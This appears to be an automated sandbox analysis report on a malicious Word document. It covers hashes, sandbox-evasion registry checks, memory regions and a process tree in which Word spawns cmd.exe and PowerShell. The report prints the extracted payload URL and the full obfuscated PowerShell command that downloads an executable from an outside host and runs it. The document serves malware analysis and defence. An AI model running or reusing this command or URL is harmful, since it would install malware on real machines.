Analysis
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max time kernel
100s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10-04-2024 14:53
Behavioral task
behavioral1
Sample
f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc
Resource
win10v2004-20240226-en
General
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Target
f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc
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Size
58KB
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MD5
616ef8b1c8e9258511905b37029d5a42
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SHA1
fa62e7df0cc1ece81ba2228cc22be01214cab2ab
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SHA256
f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011
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SHA512
79bf89fa545325810831541d76cb5b9ae7695cd7ae9eefb108bf396d1f79c5437987aa41fa342e60b1390036ae6ba4d280c7d6946dfd9c33791d7da8f8e6396d
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SSDEEP
768:WPKiEo5D9iF7gWMsdMVkOf11cdqS1+ODtxz99oinZ:WdE8D9iF7gWMsdlO91cdqSpDt3
Malware Config
Extracted
http://3237.site/test01.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2604 3892 cmd.exe WINWORD.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3892 WINWORD.EXE 3892 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4784 powershell.exe 4784 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4784 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
WINWORD.EXEpid process 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE 3892 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 3892 wrote to memory of 2604 3892 WINWORD.EXE cmd.exe PID 3892 wrote to memory of 2604 3892 WINWORD.EXE cmd.exe PID 2604 wrote to memory of 4784 2604 cmd.exe powershell.exe PID 2604 wrote to memory of 4784 2604 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f1d1c93ba65f0593f2c5a26f8661ca3f42ae2331f5eb97911aac8f5dbf3d4011.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\programtwo.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3237.site/test01.e`xe -Destination C:\Users\Public\Documents\manlevel.e`xe;C:\Users\Public\Documents\manlevel.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z141vnuf.dnx.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Public\Documents\programtwo.cmdFilesize
185B
MD5accc5f9fb1cd478b3649066e0868612d
SHA1309c94e34869a7bc62ee53144f1a98290c53d76f
SHA25693941817ada793281eaaa3dd6860d4d63a361ec15b13da7322ea4ed51e6eff6a
SHA5120bf231c1b3d67473ea7faccdc20eee9e52ba29cd30882305fd43276a3f794e100e9c77eaf3d623df167c1c1713195085d78efce8234bcd0e4460cbd16eef2ed4
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memory/3892-33-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-7-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-3-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-6-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-5-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-4-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-41-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-1-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-8-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-10-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-11-0x00007FFC83100000-0x00007FFC83110000-memory.dmpFilesize
64KB
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memory/3892-12-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-13-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-9-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-14-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-15-0x00007FFC83100000-0x00007FFC83110000-memory.dmpFilesize
64KB
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memory/3892-16-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-17-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-0-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-21-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-20-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-22-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-23-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-25-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-18-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-2-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-104-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-46-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-67-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-68-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-69-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-105-0x00007FFCC5190000-0x00007FFCC5385000-memory.dmpFilesize
2.0MB
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memory/3892-70-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-71-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-72-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-45-0x00000180BE490000-0x00000180BF460000-memory.dmpFilesize
15.8MB
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memory/3892-103-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-102-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-101-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/3892-100-0x00007FFC85210000-0x00007FFC85220000-memory.dmpFilesize
64KB
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memory/4784-75-0x000002747F090000-0x000002747F0A0000-memory.dmpFilesize
64KB
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memory/4784-76-0x000002747F500000-0x000002747F526000-memory.dmpFilesize
152KB
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memory/4784-77-0x000002747F770000-0x000002747F784000-memory.dmpFilesize
80KB
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memory/4784-78-0x000002747F090000-0x000002747F0A0000-memory.dmpFilesize
64KB
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memory/4784-81-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmpFilesize
10.8MB
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memory/4784-74-0x000002747F090000-0x000002747F0A0000-memory.dmpFilesize
64KB
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memory/4784-73-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmpFilesize
10.8MB
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memory/4784-60-0x000002747F090000-0x000002747F0A0000-memory.dmpFilesize
64KB
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memory/4784-59-0x000002747F090000-0x000002747F0A0000-memory.dmpFilesize
64KB
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memory/4784-58-0x00007FFC9C930000-0x00007FFC9D3F1000-memory.dmpFilesize
10.8MB
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memory/4784-57-0x000002747F390000-0x000002747F3B2000-memory.dmpFilesize
136KB